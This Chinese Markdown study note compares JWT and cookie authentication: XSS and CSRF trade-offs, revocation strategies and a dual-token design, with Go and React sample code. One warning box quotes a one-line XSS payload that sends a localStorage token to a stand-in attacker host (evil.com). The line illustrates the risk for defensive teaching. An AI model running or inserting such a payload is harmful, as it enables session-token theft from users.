388 lines
16 KiB
Markdown
388 lines
16 KiB
Markdown
|
|
---
|
|||
|
|
tags: [JWT, Cookie, authentication, security, comparison, backend, frontend]
|
|||
|
|
create time: 2026-05-23 00:01
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
# JWT vs Cookie:认证方案全景对比
|
|||
|
|
|
|||
|
|
## 概述
|
|||
|
|
|
|||
|
|
JWT 和 Cookie 是 Web 认证体系中两个最容易被混淆的概念。但它们根本不在同一个层面——**JWT 是令牌格式(数据结构),Cookie 是存储与传输机制(浏览器行为)**。把两者对立起来比较,就像拿"信件内容格式"和"邮递系统"做对比一样,维度完全不同。
|
|||
|
|
|
|||
|
|
本文从架构、安全、工程实践三个角度,系统对比两者,并给出**组合使用的最佳实践**。
|
|||
|
|
|
|||
|
|
> [!question] 先想一个问题
|
|||
|
|
> JWT 存在哪里?Cookie 存在哪里?如果你的答案是"JWT 存客户端,Cookie 存浏览器",那说明这个误区正好是本文要澄清的。
|
|||
|
|
>
|
|||
|
|
> JWT 是一段**数据**,它可以存在 localStorage、内存变量、甚至 Cookie 里。Cookie 是浏览器的一种**存储和传输机制**,它可以存 JWT,也可以存 Session ID,或者任何字符串。
|
|||
|
|
>
|
|||
|
|
> 两者的关系是:**JWT 需要一个载体,Cookie 是候选载体之一。**
|
|||
|
|
|
|||
|
|
## 核心定位
|
|||
|
|
|
|||
|
|
### 层次模型
|
|||
|
|
|
|||
|
|
```mermaid
|
|||
|
|
flowchart TB
|
|||
|
|
subgraph Transport["传输层 — 数据怎么送到服务端"]
|
|||
|
|
A["Authorization 头 — 前端手动注入"]
|
|||
|
|
B["Cookie — 浏览器自动携带"]
|
|||
|
|
C["URL 参数 — 不推荐"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
subgraph Format["数据层 — 送的是什么"]
|
|||
|
|
D["JWT — 签名的 JSON 令牌"]
|
|||
|
|
E["Session ID — 随机 UUID"]
|
|||
|
|
F["自定义 Token — 任意字符串"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
subgraph Storage["存储层 — 存在哪里"]
|
|||
|
|
G["localStorage — JS 可读写"]
|
|||
|
|
H["HTTP-only Cookie — JS 不可读"]
|
|||
|
|
I["内存变量 — 刷新即失"]
|
|||
|
|
J["服务端 Session Store — Redis/DB"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
D --> A
|
|||
|
|
D --> B
|
|||
|
|
E --> B
|
|||
|
|
F --> A
|
|||
|
|
|
|||
|
|
A --> G
|
|||
|
|
A --> I
|
|||
|
|
B --> H
|
|||
|
|
E --> J
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 概念对比
|
|||
|
|
|
|||
|
|
| 维度 | JWT | Cookie |
|
|||
|
|
|------|-----|--------|
|
|||
|
|
| **本质** | 令牌格式(数据载体) | 存储与传输机制(浏览器行为) |
|
|||
|
|
| **类比** | 信件内容的格式规范 | 邮递系统(自动送信) |
|
|||
|
|
| **谁控制** | 开发者手动管理生命周期 | 浏览器根据响应头自动管理 |
|
|||
|
|
| **数据可见性** | Base64 可解码(但签名防篡改) | 明文存储(除非加密) |
|
|||
|
|
| **标准** | RFC 7519 | RFC 6265 |
|
|||
|
|
|
|||
|
|
> [!tip] 关键区分
|
|||
|
|
> 问自己一个问题:"这个方案里,浏览器有没有自动帮我传数据?"
|
|||
|
|
> - **有** → 用的是 Cookie 传输(不管里面存的是 Session ID 还是 JWT)
|
|||
|
|
> - **没有** → 前端代码手动设 `Authorization` 头(JWT 或其他 Token)
|
|||
|
|
|
|||
|
|
## 安全模型对比
|
|||
|
|
|
|||
|
|
JWT + `Authorization` 头和 Cookie 的安全攻防完全不同,因为攻击面不同。
|
|||
|
|
|
|||
|
|
### 攻击面总览
|
|||
|
|
|
|||
|
|
```mermaid
|
|||
|
|
flowchart LR
|
|||
|
|
subgraph JWT_Auth["JWT + Authorization 头"]
|
|||
|
|
direction TB
|
|||
|
|
JA1["存储位置, localStorage"]
|
|||
|
|
JA2["传输方式, 前端手动注入"]
|
|||
|
|
JA3["主要威胁, XSS 窃取 Token"]
|
|||
|
|
JA4["CSRF 风险, 低, 不自动发送"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
subgraph Cookie_Auth["Cookie 认证"]
|
|||
|
|
direction TB
|
|||
|
|
CA1["存储位置, 浏览器 Cookie 存储"]
|
|||
|
|
CA2["传输方式, 浏览器自动携带"]
|
|||
|
|
CA3["主要威胁, CSRF 伪造请求"]
|
|||
|
|
CA4["XSS 风险, 低, HttpOnly 不可读"]
|
|||
|
|
end
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### XSS 攻防
|
|||
|
|
|
|||
|
|
XSS(跨站脚本)的核心:攻击者注入恶意 JS,窃取客户端存储的凭证。
|
|||
|
|
|
|||
|
|
| 方案 | 存储方式 | XSS 风险 | 说明 |
|
|||
|
|
|------|----------|----------|------|
|
|||
|
|
| JWT + localStorage | JS 可读 | **高** | 一旦 XSS 漏洞被利用,`localStorage.getItem('token')` 直接暴露 |
|
|||
|
|
| JWT + 内存变量 | JS 可读但不持久 | **中** | 刷新页面即丢失,攻击窗口小,但 XSS 执行期间仍可读取 |
|
|||
|
|
| JWT + HTTP-only Cookie | JS 不可读 | **低** | `HttpOnly` 阻断 JS 访问,XSS 无法直接窃取 |
|
|||
|
|
| Session ID + HTTP-only Cookie | JS 不可读 | **低** | 同上,`HttpOnly` 是核心防线 |
|
|||
|
|
|
|||
|
|
> [!warning] localStorage 是 XSS 的"自助餐"
|
|||
|
|
> 如果你的前端存在任何 XSS 漏洞(包括第三方依赖的漏洞),localStorage 中的 JWT 就是裸奔。攻击者只需一行代码 `fetch('https://evil.com/?t=' + localStorage.getItem('token'))` 即可完成窃取。
|
|||
|
|
>
|
|||
|
|
> 而 `HttpOnly` Cookie 是浏览器内核级别的隔离,JS 无法通过任何 API 读取——这才是真正的纵深防御。
|
|||
|
|
|
|||
|
|
### CSRF 攻防
|
|||
|
|
|
|||
|
|
CSRF(跨站请求伪造)的核心:浏览器自动携带目标域的 Cookie,攻击者借此伪造用户请求。
|
|||
|
|
|
|||
|
|
| 方案 | 自动携带凭证 | CSRF 风险 | 说明 |
|
|||
|
|
|------|------------|-----------|------|
|
|||
|
|
| JWT + `Authorization` 头 | 否 | **无** | `Authorization` 头需要 JS 手动设置,浏览器不会自动加 |
|
|||
|
|
| JWT + Cookie | 是 | **有** | 和普通 Cookie 认证一样,需 SameSite / CSRF Token 防护 |
|
|||
|
|
| Session ID + Cookie | 是 | **有** | 需配合 `SameSite=Lax/Strict` 或 CSRF Token |
|
|||
|
|
|
|||
|
|
```mermaid
|
|||
|
|
sequenceDiagram
|
|||
|
|
participant User as "用户"
|
|||
|
|
participant SiteB as "恶意网站 B"
|
|||
|
|
participant Server as "服务端"
|
|||
|
|
|
|||
|
|
Note over SiteB: "CSRF 攻击流程"
|
|||
|
|
SiteB->>Server: "POST /transfer, Cookie 自动携带"
|
|||
|
|
Server->>Server: "Cookie 合法, 请求被处理"
|
|||
|
|
Server-->>SiteB: "转账成功"
|
|||
|
|
|
|||
|
|
Note over Server: "防御 SameSite Lax"
|
|||
|
|
SiteB->>Server: "POST /transfer, Cookie 不携带"
|
|||
|
|
Server-->>SiteB: "401 Unauthorized"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
> [!question] 为什么 `Authorization` 天然免疫 CSRF?
|
|||
|
|
> CSRF 利用的是浏览器**自动携带凭证**的行为。`Authorization` 头需要 JS 代码显式设置,浏览器不会自动注入——攻击者的恶意页面里没有你的 JS 代码,自然无法伪造 `Authorization` 头。
|
|||
|
|
>
|
|||
|
|
> 但要注意:如果你把 JWT 存在 Cookie 里(为了防 XSS),那 CSRF 风险就回来了。安全没有银弹,只有权衡。
|
|||
|
|
|
|||
|
|
### 综合安全评分
|
|||
|
|
|
|||
|
|
| 安全维度 | JWT + localStorage | JWT + Cookie (HttpOnly) | Session + Cookie (HttpOnly) |
|
|||
|
|
|----------|--------------------|-----------------------|-----------------------------|
|
|||
|
|
| XSS 防护 | ❌ 弱 | ✅ 强 | ✅ 强 |
|
|||
|
|
| CSRF 防护 | ✅ 天然免疫 | ⚠️ 需额外防护 | ⚠️ 需额外防护 |
|
|||
|
|
| 传输安全 | HTTPS | HTTPS + Secure 属性 | HTTPS + Secure 属性 |
|
|||
|
|
| 令牌泄露影响 | 长期有效(至过期) | 长期有效(至过期) | 可即时吊销 |
|
|||
|
|
| 实现复杂度 | 低 | 中 | 低 |
|
|||
|
|
|
|||
|
|
> [!info] 安全结论
|
|||
|
|
> 没有"绝对安全"的方案,只有"适合场景"的方案:
|
|||
|
|
> - 对 XSS 防御有信心(CSP + 输入转义 + 无第三方脚本风险)→ JWT + localStorage,实现简单
|
|||
|
|
> - 对 XSS 没信心,或安全要求高 → JWT 存 HTTP-only Cookie,但需补 CSRF 防护
|
|||
|
|
> - 传统 Web,需即时吊销 → Session + Cookie,最成熟可控
|
|||
|
|
|
|||
|
|
## 传输与工程实践对比
|
|||
|
|
|
|||
|
|
### 传输行为差异
|
|||
|
|
|
|||
|
|
```mermaid
|
|||
|
|
sequenceDiagram
|
|||
|
|
participant B as "浏览器"
|
|||
|
|
participant S as "服务端"
|
|||
|
|
|
|||
|
|
Note over B: "方案 A, JWT + Authorization 头"
|
|||
|
|
B->>B: "JS 从 localStorage 读取 Token"
|
|||
|
|
B->>S: "GET /api/user, Authorization Bearer xxx"
|
|||
|
|
S->>S: "解析 Authorization 头, 验签"
|
|||
|
|
|
|||
|
|
Note over B: "方案 B, Cookie 自动传输"
|
|||
|
|
B->>S: "GET /api/user, Cookie 自动携带"
|
|||
|
|
S->>S: "读取 Cookie 中的 Session ID 或 JWT"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
| 工程维度 | JWT + Authorization 头 | Cookie 自动传输 |
|
|||
|
|
|----------|----------------------|----------------|
|
|||
|
|
| **前端工作量** | 需手动管理 Token 存储/注入/刷新 | 登录后浏览器自动处理 |
|
|||
|
|
| **跨域支持** | 天然支持(手动设头即可) | 需 CORS 配置 + `credentials: "include"` |
|
|||
|
|
| **移动端兼容** | 完美(不受浏览器 Cookie 策略限制) | 需要 WebView 支持 |
|
|||
|
|
| **负载大小** | 500B~1KB(含 payload + 签名) | ~36B(仅 Session ID) |
|
|||
|
|
| **服务端开销** | CPU 验签(轻量) | 查 Redis/DB(I/O) |
|
|||
|
|
| **实时吊销** | 难(需黑名单或版本号) | 易(删 Session 即失效) |
|
|||
|
|
| **水平扩展** | 天然支持(各服务独立验签,无需共享状态) | 需共享 Session 存储(Redis 等) |
|
|||
|
|
|
|||
|
|
> [!question] 为什么跨域场景倾向选 JWT + Authorization 头?
|
|||
|
|
> Cookie 的跨域需要 CORS 配置白名单、`credentials: true`、且 `Allow-Origin` 不能用通配符——配置繁琐且容易出错。而 `Authorization` 头不受同源策略的 Cookie 限制,前端只需在请求拦截器里加一行,后端做标准的 Bearer Token 验证即可。
|
|||
|
|
>
|
|||
|
|
> 但代价是:前端要自己管理 Token 的生命周期——存储、注入、刷新、失效处理,这些都是 Cookie 浏览器自动帮你做的事。
|
|||
|
|
|
|||
|
|
### JWT 吊销策略
|
|||
|
|
|
|||
|
|
JWT 最大的工程痛点之一就是**实时吊销难**——Token 签发后在过期前一直有效。以下是常见的应对手段:
|
|||
|
|
|
|||
|
|
| 策略 | 实现方式 | 适用场景 | 代价 |
|
|||
|
|
|------|----------|----------|------|
|
|||
|
|
| **短过期 + 自动续期** | Access Token 15min,配合 Refresh Token 轮换 | 大多数场景的默认选择 | 无法秒级吊销,最长有 15min 窗口 |
|
|||
|
|
| **Token 黑名单** | Redis 存被吊销的 Token JTI,每次请求校验 | 需要精确吊销(如用户主动登出、密码重置) | 引入状态存储,每次请求多一次 Redis 查询 |
|
|||
|
|
| **Token 版本号** | 用户表维护 `token_version`,JWT payload 携带版本号,校验时比对 | 批量吊销(如"强制该用户所有设备下线") | 需要查库,但比黑名单轻量 |
|
|||
|
|
| **Refresh Token 轮换** | 每次刷新签发新的 Refresh Token,旧的立即失效 | 防止 Refresh Token 泄露被重放 | 需要 Redis 存储 Token 家族关系 |
|
|||
|
|
|
|||
|
|
> [!tip] 实战建议
|
|||
|
|
> 大部分场景用 **短过期 + 黑名单** 就够了。Access Token 设 15 分钟过期,用户登出或密码重置时将 Token JTI 加入 Redis 黑名单(TTL 等于 Token 剩余有效期)。不需要每次都查黑名单——只有在"安全事件"时才写入。
|
|||
|
|
>
|
|||
|
|
> 别试图实现"完美吊销"——那本质上就是 Session 方案了。JWT 的优势是**无状态验证**,频繁查库违背了它的设计初衷。
|
|||
|
|
|
|||
|
|
## 组合最佳实践:双令牌策略
|
|||
|
|
|
|||
|
|
真正的生产环境很少"二选一",而是**两者结合**,取长补短。
|
|||
|
|
|
|||
|
|
### 架构设计
|
|||
|
|
|
|||
|
|
```mermaid
|
|||
|
|
flowchart TD
|
|||
|
|
subgraph Login["登录流程"]
|
|||
|
|
A["用户提交凭据"] --> B["服务端校验"]
|
|||
|
|
B -->|"成功"| C["签发 Access Token, JWT, 15min"]
|
|||
|
|
C --> D["签发 Refresh Token, UUID, 7d"]
|
|||
|
|
D --> E["Access Token 返回响应体"]
|
|||
|
|
D --> F["Refresh Token 存 HttpOnly Cookie"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
subgraph Request["API 请求"]
|
|||
|
|
G["前端从内存取 Access Token"] --> H["注入 Authorization 头"]
|
|||
|
|
H --> I["服务端验签, 无需查库"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
subgraph Refresh["Token 刷新"]
|
|||
|
|
J["Access Token 过期"] --> K["前端请求 refresh"]
|
|||
|
|
K --> L["浏览器自动带 Refresh Token Cookie"]
|
|||
|
|
L --> M{"Refresh Token 有效"}
|
|||
|
|
M -->|"是"| N["签发新 Access Token"]
|
|||
|
|
M -->|"否"| O["跳转登录页"]
|
|||
|
|
end
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 各层职责
|
|||
|
|
|
|||
|
|
| 组件 | 存储位置 | 生命周期 | 职责 |
|
|||
|
|
|------|----------|----------|------|
|
|||
|
|
| **Access Token** | 前端内存或 localStorage | 15 分钟 | API 调用凭证,过期即丢 |
|
|||
|
|
| **Refresh Token** | Http-only + Secure + SameSite=Strict Cookie | 7 天 | 仅用于换取新 Access Token |
|
|||
|
|
|
|||
|
|
> [!tip] 为什么 Refresh Token 存 Cookie 而不是 Access Token?
|
|||
|
|
> - **Refresh Token 访问频率低**(仅在 Access Token 过期时使用),Cookie 的自动传输特性在此是优势
|
|||
|
|
> - **Refresh Token 是高价值目标**,Http-only Cookie 防 XSS 比 localStorage 安全
|
|||
|
|
> - **Access Token 访问频率高**,存 localStorage 可避免每次请求的 Cookie 开销,也天然免疫 CSRF
|
|||
|
|
>
|
|||
|
|
> 这样两者各取所长:Access Token 的便利性 + Refresh Token 的安全性。
|
|||
|
|
|
|||
|
|
### Go 实现
|
|||
|
|
|
|||
|
|
```go
|
|||
|
|
// 签发双令牌
|
|||
|
|
func IssueTokenPair(c *gin.Context, userID uint, role string) {
|
|||
|
|
// 1. Access Token: JWT, 短期
|
|||
|
|
accessToken, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
|
|||
|
|
"sub": userID,
|
|||
|
|
"role": role,
|
|||
|
|
"exp": time.Now().Add(15 * time.Minute).Unix(),
|
|||
|
|
}).SignedString([]byte(os.Getenv("JWT_SECRET")))
|
|||
|
|
|
|||
|
|
// 2. Refresh Token: 随机 UUID, 存 Redis
|
|||
|
|
refreshToken := uuid.New().String()
|
|||
|
|
redis.Set(ctx, "refresh:"+refreshToken, userID, 7*24*time.Hour)
|
|||
|
|
|
|||
|
|
// 3. Refresh Token 存入 HttpOnly Cookie
|
|||
|
|
c.SetCookie("refresh_token", refreshToken, 7*86400, "/auth/refresh",
|
|||
|
|
"", true, true) // Secure + HttpOnly(Gin 需手动设 header)
|
|||
|
|
|
|||
|
|
// 4. Access Token 返回响应体
|
|||
|
|
c.JSON(200, gin.H{"accessToken": accessToken, "expiresIn": 900})
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 刷新端点:从 Cookie 读 Refresh Token,签发新 Access Token
|
|||
|
|
func RefreshHandler(c *gin.Context) {
|
|||
|
|
refreshToken, err := c.Cookie("refresh_token")
|
|||
|
|
if err != nil {
|
|||
|
|
c.AbortWithStatusJSON(401, gin.H{"error": "no refresh token"})
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
userID, err := redis.Get(ctx, "refresh:"+refreshToken).Result()
|
|||
|
|
if err != nil {
|
|||
|
|
c.AbortWithStatusJSON(401, gin.H{"error": "refresh token expired"})
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 签发新 Access Token(Refresh Token 不变)
|
|||
|
|
newAccessToken, _ := GenerateAccessToken(userID)
|
|||
|
|
c.JSON(200, gin.H{"accessToken": newAccessToken, "expiresIn": 900})
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### React 前端
|
|||
|
|
|
|||
|
|
```typescript
|
|||
|
|
const api = axios.create({ baseURL: "/api" });
|
|||
|
|
|
|||
|
|
// 请求拦截器:自动注入 Access Token
|
|||
|
|
api.interceptors.request.use((config) => {
|
|||
|
|
const token = getAccessTokenFromMemory(); // 从内存读,不从 localStorage
|
|||
|
|
if (token) config.headers.Authorization = `Bearer ${token}`;
|
|||
|
|
return config;
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
// 响应拦截器:401 时自动刷新
|
|||
|
|
api.interceptors.response.use(
|
|||
|
|
(res) => res,
|
|||
|
|
async (err) => {
|
|||
|
|
if (err.response?.status === 401 && !err.config._retry) {
|
|||
|
|
err.config._retry = true;
|
|||
|
|
try {
|
|||
|
|
// 调用刷新接口 — Refresh Token 由浏览器 Cookie 自动携带
|
|||
|
|
const { data } = await axios.post("/api/auth/refresh");
|
|||
|
|
setAccessTokenInMemory(data.accessToken);
|
|||
|
|
err.config.headers.Authorization = `Bearer ${data.accessToken}`;
|
|||
|
|
return api.request(err.config);
|
|||
|
|
} catch {
|
|||
|
|
window.location.href = "/login"; // 刷新失败,重新登录
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
return Promise.reject(err);
|
|||
|
|
},
|
|||
|
|
);
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
> [!note] 为什么 Access Token 存内存而不存 localStorage?
|
|||
|
|
> 内存变量在页面刷新后会丢失,这看起来是缺点,但恰恰是优势——XSS 攻击的窗口被缩小到当前页面生命周期。每次刷新页面都会用 Refresh Token(存在 Http-only Cookie 里,XSS 读不到)重新获取 Access Token,实现"无感续期"。
|
|||
|
|
|
|||
|
|
## 选型决策指南
|
|||
|
|
|
|||
|
|
```mermaid
|
|||
|
|
flowchart TD
|
|||
|
|
A["选择认证方案"] --> B{"架构类型"}
|
|||
|
|
|
|||
|
|
B -->|"传统 Web SSR"| C{"需要即时吊销"}
|
|||
|
|
C -->|"是"| D["Session + Cookie"]
|
|||
|
|
C -->|"否"| E["JWT + Cookie HttpOnly"]
|
|||
|
|
|
|||
|
|
B -->|"前后端分离 SPA"| F{"安全要求"}
|
|||
|
|
F -->|"高"| G["双令牌策略 Access + Refresh"]
|
|||
|
|
F -->|"标准"| H["JWT + localStorage + Authorization 头"]
|
|||
|
|
|
|||
|
|
B -->|"移动端"| I["JWT + Authorization 头, 存内存"]
|
|||
|
|
|
|||
|
|
B -->|"微服务内部通信"| J["JWT 非对称签名 RS256"]
|
|||
|
|
|
|||
|
|
D --> D1["Redis 存 Session, 服务端可控"]
|
|||
|
|
E --> E1["浏览器自动传输, 无需前端管理"]
|
|||
|
|
G --> G1["Access Token 内存, Refresh Token Cookie"]
|
|||
|
|
H --> H1["实现简单, 注意 XSS 防护"]
|
|||
|
|
I --> I1["无浏览器 Cookie 限制"]
|
|||
|
|
J --> J1["私钥签发, 公钥验签"]
|
|||
|
|
|
|||
|
|
style D fill:#e8f4f8
|
|||
|
|
style G fill:#fde8e8
|
|||
|
|
style H fill:#fff3cd
|
|||
|
|
style I fill:#d4edda
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 速查表
|
|||
|
|
|
|||
|
|
| 场景 | 推荐方案 | 理由 |
|
|||
|
|
|------|----------|------|
|
|||
|
|
| 企业后台管理系统 | Session + Cookie | 功能集中,需即时踢人,单体架构 |
|
|||
|
|
| 前后端分离 SPA | 双令牌策略 | 兼顾安全与体验 |
|
|||
|
|
| 移动端 App | JWT + Authorization 头 | 无 Cookie 机制,Token 存安全存储 |
|
|||
|
|
| 微服务网关 | JWT 非对称签名 | 各服务独立验签,无需查中心存储 |
|
|||
|
|
| SSO 单点登录 | JWT + Cookie (Partitioned) | 跨站场景需 CHIPS 支持 |
|
|||
|
|
|
|||
|
|
> [!info] 没有银弹
|
|||
|
|
> 每种方案都有取舍。选型时问自己三个问题:
|
|||
|
|
> 1. **能不能接受用户 Token 在过期前无法强制失效?** → 能:JWT;不能:Session
|
|||
|
|
> 2. **前端有没有能力和意愿管理 Token 生命周期?** → 有:Authorization 头;没有:Cookie
|
|||
|
|
> 3. **架构是否需要跨域或跨服务?** → 是:JWT;否:Session 足够
|
|||
|
|
>
|
|||
|
|
> 答案组合起来就是你的最优解。
|
|||
|
|
|
|||
|
|
## 关联笔记
|
|||
|
|
|
|||
|
|
- [[hhs/DEV/鉴权策略/JWT/JWT]] — JWT 令牌格式与认证流程详解
|
|||
|
|
- [[Cookie]] — Cookie 机制、属性与安全防护
|
|||
|
|
- [[SameSite 与 CSRF 防护]] — SameSite 属性与 CSRF 攻防策略
|